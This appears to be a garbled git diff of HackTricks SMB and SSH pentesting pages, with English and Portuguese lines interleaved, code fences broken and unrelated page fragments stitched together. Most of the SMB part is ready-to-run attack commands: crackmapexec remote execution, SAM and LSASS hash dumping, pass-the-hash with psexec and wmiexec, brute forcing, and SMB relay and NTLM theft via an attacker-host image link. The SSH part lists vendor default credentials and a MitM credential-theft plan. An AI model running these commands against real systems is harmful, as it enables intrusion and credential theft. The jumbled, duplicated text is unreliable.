O comando `smbstatus` fornece informações sobre o **servidor** e sobre **quem está conectado**.
|
||||
|
||||
## Authenticate using Kerberos
|
||||
|
||||
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
|
||||
|
||||
```bash
|
||||
# Pentesting SMB
|
||||
|
||||
## Enumerating SMB Shares
|
||||
|
||||
To enumerate SMB shares on a target machine, you can use the `smbclient` command with the `--kerberos` option. For example, to enumerate the shares on the machine `ws01win10.domain.com`, you can run the following command:
|
||||
## Autenticar usando Kerberos
|
||||
|
||||
Você pode **autenticar** no **kerberos** usando as ferramentas **smbclient** e **rpcclient**:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
```
|
||||
|
||||
## Enumerating RPC Services
|
||||
|
||||
To enumerate RPC services on a target machine, you can use the `rpcclient` command with the `-k` option. For example, to enumerate the RPC services on the machine `ws01win10.domain.com`, you can run the following command:
|
||||
|
||||
```bash
|
||||
rpcclient -k ws01win10.domain.com
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
# Pentesting SMB
|
||||
|
||||
## Enumerando Compartilhamentos SMB
|
||||
|
||||
Para enumerar os compartilhamentos SMB em uma máquina de destino, você pode usar o comando `smbclient` com a opção `--kerberos`. Por exemplo, para enumerar os compartilhamentos na máquina `ws01win10.domain.com`, você pode executar o seguinte comando:
|
||||
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
```
|
||||
|
||||
## Enumerando Serviços RPC
|
||||
|
||||
Para enumerar os serviços RPC em uma máquina de destino, você pode usar o comando `rpcclient` com a opção `-k`. Por exemplo, para enumerar os serviços RPC na máquina `ws01win10.domain.com`, você pode executar o seguinte comando:
|
||||
|
||||
```bash
|
||||
rpcclient -k ws01win10.domain.com
|
||||
```
|
||||
```
|
||||
|
||||
## **Execute Commands**
|
||||
## **Executar Comandos**
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method`:
|
||||
|
||||
crackmapexec pode executar comandos **abusando** de qualquer um dos métodos **mmcexec, smbexec, atexec, wmiexec**, sendo **wmiexec** o método **padrão**. Você pode indicar qual opção prefere usar com o parâmetro `--exec-method`:
|
||||
```bash
|
||||
```markdown
|
||||
apt-get install crackmapexec
|
||||
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Executar Powershell
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Executar cmd
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
|
||||
# Usando --exec-method {mmcexec,smbexec,atexec,wmiexec}
|
||||
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
|
||||
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump do SAM
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump de hashes do LSASS em memória
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Obter sessões
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Obter usuários logados
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerar os discos
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerar usuários
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups #Enumerar grupos
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups #Enumerar grupos locais
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Obter política de senha
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #Brute force de RID
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
|
||||
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
```html
|
||||
```
|
||||
```
|
||||
|
||||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||||
|
||||
Both options will **create a new service** (using _\pipe\svcctl_ via SMB) in the victim machine and use it to **execute something** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\
|
||||
**More info** about [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||||
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
||||
|
||||
Ambas as opções irão **criar um novo serviço** (usando _\pipe\svcctl_ via SMB) na máquina vítima e usá-lo para **executar algo** (**psexec** irá **fazer upload** de um arquivo executável para o compartilhamento ADMIN$ e **smbexec** irá apontar para **cmd.exe/powershell.exe** e colocar nos argumentos o payload --**técnica sem arquivo-**-).\
|
||||
**Mais informações** sobre [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md) e [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||||
No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
# Se nenhuma senha for fornecida, será solicitada
|
||||
./psexec.py [[domínio/]nome de usuário[:senha]@]<nome ou endereço do alvo>
|
||||
./psexec.py -hashes <LM:NT> administrador@10.10.10.103 # Pass-the-Hash
|
||||
psexec \\192.168.122.66 -u Administrador -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrador -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
#If no password is provided, it will be prompted
|
||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
|
||||
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
|
||||
Usando o **parâmetro** `-k` você pode se autenticar contra o **kerberos** em vez de **NTLM**
|
||||
|
||||
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
|
||||
|
||||
Stealthily execute a command shell without touching the disk or running a new service using DCOM via **port 135.**\
|
||||
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
||||
|
||||
Execute comandos de forma furtiva sem tocar no disco ou executar um novo serviço usando DCOM via **porta 135.**\
|
||||
No **kali**, está localizado em /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#Se nenhuma senha for fornecida, será solicitada
|
||||
./wmiexec.py [[domínio/]nomeDeUsuário[:senha]@]<nomeDoAlvo ou endereço> #Solicitar senha
|
||||
./wmiexec.py -hashes LM:NT administrador@10.10.10.103 #Pass-the-Hash
|
||||
#Você pode adicionar ao final do comando um comando CMD a ser executado, se não fizer isso, um shell semi-interativo será solicitado
|
||||
#If no password is provided, it will be prompted
|
||||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
|
||||
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
|
||||
|
||||
Usando o **parâmetro** `-k` você pode se autenticar contra **kerberos** em vez de **NTLM**
|
||||
```bash
|
||||
#Se nenhuma senha for fornecida, será solicitada
|
||||
./dcomexec.py [[domínio/]nome de usuário[:senha]@]<Nome do alvo ou endereço>
|
||||
./dcomexec.py -hashes <LM:NT> administrador@10.10.10.103 #Pass-the-Hash
|
||||
#Você pode adicionar ao final do comando um comando CMD a ser executado, se não fizer isso, um shell semi-interativo será solicitado
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
|
||||
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
||||
|
||||
Execute commands via the Task Scheduler (using _\pipe\atsvc_ via SMB).\
|
||||
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
||||
|
||||
Executa comandos através do Agendador de Tarefas (usando _\pipe\atsvc_ via SMB).\
|
||||
No **kali**, está localizado em /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
./atexec.py [[domínio/]nome de usuário[:senha]@]<Nome do alvo ou endereço> "comando"
|
||||
./atexec.py -hashes <LM:NT> administrador@10.10.10.175 "whoami"
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
```
|
||||
|
||||
## Impacket reference
|
||||
## Referência do Impacket
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
## **Bruteforce users credentials**
|
||||
## **Bruteforce de credenciais de usuários**
|
||||
|
||||
**This is not recommended, you could block an account if you exceed the maximum allowed tries**
|
||||
|
||||
```bash
|
||||
**Isso não é recomendado, você poderia bloquear uma conta se exceder o número máximo de tentativas permitidas**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Obter nomes de usuário forçando a enumeração de RIDs e, em seguida, tentar forçar a senha para cada nome de usuário
|
||||
```
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
## Ataque de retransmissão SMB
|
||||
|
||||
## SMB relay attack
|
||||
|
||||
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\
|
||||
[**More information about this attack here.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
Este ataque utiliza o kit de ferramentas Responder para **capturar sessões de autenticação SMB** em uma rede interna e **retransmiti-las** para uma **máquina alvo**. Se a **sessão de autenticação for bem-sucedida**, você será automaticamente levado a um **shell do sistema**.\
|
||||
[**Mais informações sobre este ataque aqui.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
A biblioteca do Windows URLMon.dll tenta se autenticar automaticamente ao host quando uma página tenta acessar algum conteúdo via SMB, por exemplo: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
This happens with the functions:
|
||||
Isso ocorre com as funções:
|
||||
|
||||
* URLDownloadToFile
|
||||
* URLDownloadToCache
|
||||
* URLOpenStream
|
||||
* URLOpenBlockingStream
|
||||
|
||||
Which are used by some browsers and tools (like Skype)
|
||||
Que são utilizadas por alguns navegadores e ferramentas (como o Skype)
|
||||
|
||||
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
|
||||
![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
|
||||
|
||||
### SMBTrap using MitMf
|
||||
### SMBTrap usando MitMf
|
||||
|
||||
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
|
||||
![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
|
||||
|
||||
## NTLM Theft
|
||||
## Roubo de NTLM
|
||||
|
||||
Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](pentesting-smb.md#smb-relay-attack).
|
||||
Semelhante ao SMB Trap, plantar arquivos maliciosos em um sistema alvo (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como o Responder. O hash pode então ser quebrado offline ou usado em um [ataque de retransmissão SMB](pentesting-smb.md#smb-relay-attack).
|
||||
|
||||
[See: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
[Veja: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||||
|
||||
## Comandos Automáticos HackTricks
|
||||
```
|
||||
Protocolo_Nome: SMB #Abreviação do Protocolo se houver.
|
||||
Número_da_Porta: 137,138,139 #Separado por vírgula se houver mais de um.
|
||||
Descrição_do_Protocolo: Server Message Block #Abreviação do Protocolo Escrito por extenso
|
||||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
|
||||
|
||||
Entrada_1:
|
||||
Nome: Notas
|
||||
Descrição: Notas para SMB
|
||||
Nota: |
|
||||
Embora a porta 139 seja conhecida tecnicamente como 'NBT sobre IP', a porta 445 é 'SMB sobre IP'. SMB significa 'Server Message Blocks'. Server Message Block, na linguagem moderna, também é conhecido como Common Internet File System. O sistema opera como um protocolo de rede de camada de aplicação usado principalmente para oferecer acesso compartilhado a arquivos, impressoras, portas seriais e outros tipos de comunicações entre nós em uma rede.
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for SMB
|
||||
Note: |
|
||||
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
|
||||
|
||||
#Esses são os comandos que eu executo sempre que vejo uma porta SMB aberta
|
||||
#These are the commands I run in order every time I see an open SMB port
|
||||
|
||||
Sem Credenciais
|
||||
With No Creds
|
||||
nbtscan {IP}
|
||||
smbmap -H {IP}
|
||||
smbmap -H {IP} -u null -p null
|
||||
|
@ -588,7 +495,7 @@ GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
|
|||
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
|
||||
getArch.py -target {IP}
|
||||
|
||||
Com Credenciais
|
||||
With Creds
|
||||
smbmap -H {IP} -u {Username} -p {Password}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||
|
@ -599,41 +506,41 @@ GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
|||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-smb
|
||||
|
||||
Entrada_2:
|
||||
Nome: Enum4Linux
|
||||
Descrição: Varredura SMB Geral
|
||||
Comando: enum4linux -a {IP}
|
||||
Entry_2:
|
||||
Name: Enum4Linux
|
||||
Description: General SMB Scan
|
||||
Command: enum4linux -a {IP}
|
||||
|
||||
Entrada_3:
|
||||
Nome: Varredura Nmap SMB 1
|
||||
Descrição: Varredura de Vulnerabilidades SMB com Nmap
|
||||
Comando: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
|
||||
Entry_3:
|
||||
Name: Nmap SMB Scan 1
|
||||
Description: SMB Vuln Scan With Nmap
|
||||
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
|
||||
|
||||
Entrada_4:
|
||||
Nome: Varredura Nmap SMB 2
|
||||
Descrição: Varredura de Vulnerabilidades SMB com Nmap (Menos Específica)
|
||||
Comando: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
|
||||
Entry_4:
|
||||
Name: Nmap Smb Scan 2
|
||||
Description: SMB Vuln Scan With Nmap (Less Specific)
|
||||
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
|
||||
|
||||
Entrada_5:
|
||||
Nome: Força Bruta Hydra
|
||||
Descrição: Necessita de Usuário
|
||||
Comando: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
|
||||
Entry_5:
|
||||
Name: Hydra Brute Force
|
||||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
|
||||
|
||||
Entry_6:
|
||||
Name: SMB/SMB2 139/445 consolesless mfs enumeration
|
||||
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
|
||||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||||
|
||||
Entrada_6:
|
||||
Nome: Enumeração SMB/SMB2 139/445 sem console mfs
|
||||
Descrição: Enumeração SMB/SMB2 139/445 sem a necessidade de executar msfconsole
|
||||
Nota: obtido de https://github.com/carlospolop/legion
|
||||
Comando: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
@ -29,16 +29,16 @@ Se está interessado numa **carreira de hacking** e em hackear o inquebrável -
|
|||
**Servidores SSH:**
|
||||
|
||||
* [openSSH](http://www.openssh.org) – OpenBSD SSH, incluído em BSD, distribuições Linux e Windows desde o Windows 10
|
||||
* [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – Implementação SSH para ambientes com recursos limitados de memória e processador, incluído no OpenWrt
|
||||
* [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – Implementação SSH para ambientes com baixos recursos de memória e processador, incluído no OpenWrt
|
||||
* [PuTTY](https://www.chiark.greenend.org.uk/\~sgtatham/putty/) – Implementação SSH para Windows, o cliente é comumente usado, mas o uso do servidor é mais raro
|
||||
* [CopSSH](https://www.itefix.net/copssh) – implementação do OpenSSH para Windows
|
||||
|
||||
**Bibliotecas SSH (implementando o lado do servidor):**
|
||||
**Bibliotecas SSH (implementando lado do servidor):**
|
||||
|
||||
* [libssh](https://www.libssh.org) – biblioteca C multiplataforma que implementa o protocolo SSHv2 com bindings em [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) e [R](https://github.com/ropensci/ssh); é usada pelo KDE para sftp e pelo GitHub para a infraestrutura SSH do git
|
||||
* [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – biblioteca de servidor SSHv2 escrita em ANSI C e direcionada para ambientes embarcados, RTOS e com restrições de recursos
|
||||
* [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – biblioteca java Apache SSHD baseada no Apache MINA
|
||||
* [paramiko](https://github.com/paramiko/paramiko) – biblioteca de protocolo SSHv2 em Python
|
||||
* [paramiko](https://github.com/paramiko/paramiko) – biblioteca do protocolo SSHv2 em Python
|
||||
|
||||
## Enumeração
|
||||
|
||||
|
@ -48,7 +48,7 @@ nc -vn <IP> 22
|
|||
```
|
||||
### Auditoria automatizada ssh-audit
|
||||
|
||||
ssh-audit é uma ferramenta para auditoria de configuração de servidor e cliente SSH.
|
||||
ssh-audit é uma ferramenta para auditoria de configuração de servidores e clientes SSH.
|
||||
|
||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) é um fork atualizado de [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
|
||||
|
||||
|
@ -57,7 +57,7 @@ ssh-audit é uma ferramenta para auditoria de configuração de servidor e clien
|
|||
* Suporte a servidores de protocolo SSH1 e SSH2;
|
||||
* analisar configuração de cliente SSH;
|
||||
* capturar banner, reconhecer dispositivo ou software e sistema operacional, detectar compressão;
|
||||
* coletar algoritmos de troca de chaves, chave de host, criptografia e código de autenticação de mensagem;
|
||||
* coletar algoritmos de troca de chaves, chave de host, criptografia e códigos de autenticação de mensagens;
|
||||
* saída de informações de algoritmo (disponível desde, removido/desativado, inseguro/fraco/legado, etc);
|
||||
* saída de recomendações de algoritmo (adicionar ou remover com base na versão de software reconhecida);
|
||||
* saída de informações de segurança (problemas relacionados, lista de CVEs atribuídos, etc);
|
||||
|
@ -137,7 +137,7 @@ Ou use `ssh-keybrute.py` (nativo python3, leve e com algoritmos legados ativados
|
|||
|
||||
#### Chaves SSH fracas / PRNG previsível do Debian
|
||||
|
||||
Alguns sistemas possuem falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves drasticamente reduzido que pode ser forçado bruscamente. Conjuntos pré-gerados de chaves criadas em sistemas Debian afetados por PRNG fraco estão disponíveis aqui: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
Alguns sistemas têm falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves drasticamente reduzido que pode ser forçado bruto. Conjuntos pré-gerados de chaves criadas em sistemas Debian afetados por PRNG fraco estão disponíveis aqui: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
|
||||
Você deve procurar aqui para buscar chaves válidas para a máquina vítima.
|
||||
|
||||
|
@ -148,7 +148,7 @@ Para mais informações, execute `crackmapexec ssh --help`.
|
|||
|
||||
## Credenciais Padrão
|
||||
|
||||
| **Fabricante** | **Nomes de Usuário** | **Senhas** |
|
||||
| **Fabricante** | **Nomes de usuário** | **Senhas** |
|
||||
| -------------- | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, device | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
|
@ -167,15 +167,15 @@ Para mais informações, execute `crackmapexec ssh --help`.
|
|||
|
||||
## SSH-MitM
|
||||
|
||||
Se você estiver na mesma rede local que a vítima que vai se conectar ao servidor SSH usando nome de usuário e senha, você poderia tentar **realizar um ataque MitM para roubar essas credenciais:**
|
||||
Se você estiver na rede local como a vítima que vai se conectar ao servidor SSH usando nome de usuário e senha, você poderia tentar **realizar um ataque MitM para roubar essas credenciais:**
|
||||
|
||||
**Caminho do ataque:**
|
||||
|
||||
* o tráfego do usuário é redirecionado para a máquina atacante
|
||||
* o atacante monitora tentativas de conexão ao servidor SSH e as redireciona para o seu próprio servidor SSH
|
||||
* o servidor SSH do atacante é configurado, em primeiro lugar, para registrar todos os dados inseridos, incluindo a senha do usuário, e, em segundo lugar, enviar comandos para o servidor SSH legítimo ao qual o usuário deseja se conectar, para executá-los e, em seguida, retornar os resultados para o usuário legítimo
|
||||
* o atacante monitora tentativas de conexão ao servidor SSH e as redireciona para seu próprio servidor SSH
|
||||
